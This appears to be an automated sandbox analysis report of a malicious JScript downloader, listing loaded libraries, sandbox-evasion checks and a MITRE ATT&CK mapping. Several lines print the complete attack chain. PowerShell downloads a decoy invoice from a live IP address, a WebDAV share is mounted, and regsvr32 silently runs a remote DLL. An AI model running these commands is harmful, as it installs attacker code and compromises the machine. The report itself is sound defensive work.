Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5694.js.csv");ITextStream.WriteLine(" entry:2540 f:hlpigjzg");ITextStream.WriteLine(" exec:2 f:hlpigjzg");ITextStream.WriteLine(" entry:5 o: f:eval a0:%22npqyb%3D%5B1031%2C3079%2C5127%2C4103%2C2055%2C3072%5D%3Bvar%20ntecpdebf%3Dthis%5Bjobqaxld%2Bbwfnh%2Bzybgaum%2Boncyskvm%2Bgevpvmxd%2Bujkjlx%2Bgzotjli%2Beoylmcqkf%5D(this%5Bolpwwyxg%2Bautjyn%2Bhpwshba%2");IHost.CreateObject("WScript.Shell");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("WScript.Shell");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49739

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3611			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6254			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 3611 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep count: 6254 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7916	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8092	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2548	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1372266830.000001517ADA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1372266830.000001517AE07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2602877097.0000017BA5A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2604815917.0000017BAB05A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24075767225846.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	22 Scripting	Valid Accounts	1 Command and Scripting Interpreter	22 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
